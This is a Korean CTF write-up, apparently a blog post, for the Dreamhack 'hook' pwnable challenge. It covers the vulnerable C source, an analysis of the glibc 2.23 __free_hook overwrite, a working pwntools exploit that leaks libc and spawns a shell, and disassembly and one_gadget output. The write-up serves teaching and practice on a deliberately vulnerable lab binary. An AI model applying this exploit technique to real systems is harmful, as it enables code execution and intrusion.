Problem
https://dreamhack.io/wargame/challenges/52
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Stripped: No
Background
- hook
- one_gadget / (option)
hook.c
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
코드 분석
- size 변수에 scanf로 정수 입력 받아 저장.
- ptr 변수에 size만큼의 바이트를 동적 할당.
- ptr가 가르키는 값에 read 함수로 size만큼 입력 받아 저장.
- *(long *)*ptr = *(ptr+1)
- (중요) *ptr은 ptr이 가르키는 변수의 값. 여기서 한번 더 *(long *)로 인해 한번 더 앞의 변수의 값을 8바이트의 포인터로 인식. 따라서 *ptr의 값이 주소가 되어 해당 주소에 *(ptr+1)을 저장.
- free(ptr)을 두 번 실행.
- 이는 이미 실행된 free함수를 때문에 두 번째 free함수가 반환을 시도할 때 유효하지 않은 주소에 대한 접근으로 Segmentation Falut가 발생
취약점 분석
라이브러리가 glibc 2.23임. 이는 hook overwrite에 취약한 라이브러리임. free가 실행될 때 __free_hook 변수의 값이 null이 아니라면 __free_hook 의 값이 가르키는 주소(명령어)을 먼저 실행함.
따라서 __free_hook 의 값을 main 함수의 system("/bin/sh") 혹은 oneshot gadget의 주소로 변경하면 해당 명령어가 실행됨.
코드 분석에서 4번을 확인하면 특정 주소에 임의의 값을 변경 할 수 있는 취약점이 있음.
- *ptr은 ptr이 가르키는 변수의 값을 나타냄. (long *)*ptr은 8바이트로 된 포인터를 의미함. *(long *)*ptr은 (long *)*ptr이 가르키는 주소의 값을 나타내기에 ptr 시작 주소로부터 8 바이트를 free 함수의 hook 주소로 변경 후 실행 할 명령어의 주소를 *(ptr+1) 에 넣어주면 됨.
즉 read 함수로 ptr 변수에 입력할 때, 8바이트는 __free_hook의 주소. 다음 8 바이트는 실행할 명령어의 주소를 넣어주면 임의의 명령어를 실행할 수 있다.
Exploit code
from pwn import *
p = process("./hook")
#p = remote("host8.dreamhack.games", "23490")
elf = ELF('./hook')
libc = ELF('./libc-2.23.so')
p.recvuntil(b'stdout: ')
stdout = int(p.recvuntil('\n')[:-1], 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + [0x4527a, 0xf03a4, 0xf1247][0]
system = 0x400a11
payload = p64(free_hook) + p64(system)
p.sendlineafter(b'Size: ', b'16')
p.sendafter(b'Data: ', payload)
p.interactive()
참고
해당 문제의 바이너리는 PIE가 적용되어 있지 않기에 코드 부분의 주소가 임의의 주소에 배치되지 않고 고정된 주소에 배치됨.
- system 함수를 실행하는 주소를 알아내는 방법
pwndbg> disas main
Dump of assembler code for function main:
0x000000000040094a <+0>: push rbp
0x000000000040094b <+1>: mov rbp,rsp
0x000000000040094e <+4>: sub rsp,0x30
0x0000000000400952 <+8>: mov DWORD PTR [rbp-0x24],edi
0x0000000000400955 <+11>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000400959 <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000400962 <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400966 <+28>: xor eax,eax
0x0000000000400968 <+30>: mov eax,0x0
0x000000000040096d <+35>: call 0x4008ee <initialize>
0x0000000000400972 <+40>: mov rax,QWORD PTR [rip+0x200697] # 0x601010 <stdout@@GLIBC_2.2.5>
0x0000000000400979 <+47>: mov rsi,rax
0x000000000040097c <+50>: mov edi,0x400acd
0x0000000000400981 <+55>: mov eax,0x0
0x0000000000400986 <+60>: call 0x400790 <printf@plt>
0x000000000040098b <+65>: mov edi,0x400ad9
0x0000000000400990 <+70>: mov eax,0x0
0x0000000000400995 <+75>: call 0x400790 <printf@plt>
0x000000000040099a <+80>: lea rax,[rbp-0x18]
0x000000000040099e <+84>: mov rsi,rax
0x00000000004009a1 <+87>: mov edi,0x400ae0
0x00000000004009a6 <+92>: mov eax,0x0
0x00000000004009ab <+97>: call 0x4007d0 <__isoc99_scanf@plt>
0x00000000004009b0 <+102>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004009b4 <+106>: mov rdi,rax
0x00000000004009b7 <+109>: call 0x4007c0 <malloc@plt>
0x00000000004009bc <+114>: mov QWORD PTR [rbp-0x10],rax
0x00000000004009c0 <+118>: mov edi,0x400ae4
0x00000000004009c5 <+123>: mov eax,0x0
0x00000000004009ca <+128>: call 0x400790 <printf@plt>
0x00000000004009cf <+133>: mov rdx,QWORD PTR [rbp-0x18]
0x00000000004009d3 <+137>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004009d7 <+141>: mov rsi,rax
0x00000000004009da <+144>: mov edi,0x0
0x00000000004009df <+149>: call 0x4007a0 <read@plt>
0x00000000004009e4 <+154>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004009e8 <+158>: mov rax,QWORD PTR [rax]
0x00000000004009eb <+161>: mov rdx,rax
0x00000000004009ee <+164>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004009f2 <+168>: mov rax,QWORD PTR [rax+0x8]
0x00000000004009f6 <+172>: mov QWORD PTR [rdx],rax
0x00000000004009f9 <+175>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004009fd <+179>: mov rdi,rax
0x0000000000400a00 <+182>: call 0x400770 <free@plt>
0x0000000000400a05 <+187>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400a09 <+191>: mov rdi,rax
0x0000000000400a0c <+194>: call 0x400770 <free@plt>
0x0000000000400a11 <+199>: mov edi,0x400aeb
0x0000000000400a16 <+204>: call 0x400788 <system@plt>
0x0000000000400a1b <+209>: mov eax,0x0
0x0000000000400a20 <+214>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000400a24 <+218>: xor rcx,QWORD PTR fs:0x28
0x0000000000400a2d <+227>: je 0x400a34 <main+234>
0x0000000000400a2f <+229>: call 0x400780 <__stack_chk_fail@plt>
0x0000000000400a34 <+234>: leave
0x0000000000400a35 <+235>: ret
End of assembler dump.
0x0000000000400a11 main+199
"/bin/sh"를 인자로 주고 system 함수를 호출 해야하기에 gdb에서 System@plt를 호출하기 전 인자를 넣기 시작하는 주소를 찾아냄.
- one_gadget 의 주소를 알아내는 방법
$ one_gadget ./libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
인자를 직접 지정해주기 힘들고 system 함수를 호출하기 어려운 상황이라면 one_gadget을 사용해야함.
여기서는 아직 지식이 부족해서 어떤 조건의 가젯을 써야하는지 판단이 잘 안섭니다. 그래서 전부 넣어보고 되는걸로 진행했습니다.
본인의 실습 환경이 대상 타겟(호스트)의 환경과 달라 발생하는 문제 발생 시 해결 방법
(포스트 예정)
'Wargame > Pwnable' 카테고리의 다른 글
| [Dreamhack] Command Injection Advanced | write-up (0) | 2025.12.08 |
|---|